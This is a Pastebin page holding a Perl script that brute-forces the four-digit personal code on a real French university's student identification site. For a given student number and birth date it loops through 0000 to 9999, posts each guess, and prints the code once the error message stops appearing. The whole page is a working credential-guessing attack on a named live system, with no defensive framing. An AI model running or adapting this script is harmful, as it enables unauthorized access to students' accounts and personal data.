Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use strict;
- use warnings;
- use Data::Dumper;
- use LWP::UserAgent;
- #trianing time handle
- $| = 1;
- #========================= Make browser ==================================
- my $browser = LWP::UserAgent->new(
- agent => ' Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
- max_redirect => 1,
- timeout => 2000,
- );
- # =======================================================================
- my $url = 'https://identification.univ-bpclermont.fr/identifiant.php';
- my $url2 = 'https://identification.univ-bpclermont.fr/charte.php';
- my $gencodepers;
- sub main # 12.255.4 => 1
- {
- # ================================ Prepare Method post =========================
- for (my $pregencodepers = 0; $pregencodepers <= 9999; $pregencodepers++) {
- if ($pregencodepers <= 9 ){
- $gencodepers = '0'.'0'.'0'."$pregencodepers";
- }
- elsif ($pregencodepers <= 99 && $pregencodepers >9) {
- $gencodepers = '0'.'0'."$pregencodepers";
- }
- elsif ($pregencodepers <= 999 && $pregencodepers >99) {
- $gencodepers = '0'."$pregencodepers";
- }
- elsif ($pregencodepers <= 9999 && $pregencodepers && $pregencodepers >999 ) {
- $gencodepers = "$pregencodepers";
- }
- my %post =(
- 'Submit'=>' Valider ',
- 'codeetu'=>'xxxxx', # remplacez les 'xxxxx' par vote numero dossier
- 'codepers'=>"$gencodepers",
- 'datenais'=>'JJMMYYYY', # replacez JJMMYYYY par date de naissance exmaple:"26/01/1998
- );
- # ============== for chart ============
- my %post2 =(
- 'Submit'=>' Valider ',
- 'codeetu'=>'xxxxx', # remplacez les 'xxxxx' par vote numero dossier
- 'datenaisa'=>'YYYY', #l'anne de naissance
- 'datenaisj'=>'28', #mois de naissance
- 'datenaism'=>'07', # jour de naissance
- );
- # ============== end for chart ============
- my $resp2 =$browser->post($url2,\%post2); # send chart
- my $resp1 =$browser->post($url,\%post); #send ask code
- #print Dumper($resp2);
- #print $resp2->content; # send chart succude
- #
- print Dumper($resp1);
- print $resp1->content;
- if ($resp1->content =~ /Code personnel non valide/) {
- print 'failed'. $gencodepers."\r\n";
- }
- else{
- print 'Code personnel:'.$gencodepers."trouvee \r\n";
- sleep(0);
- }
- # if ($resp2->is_success && $resp2->status_line =~200 ) {
- # sleep(1);
- # }
- }
- }
- main();
- sleep(5000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement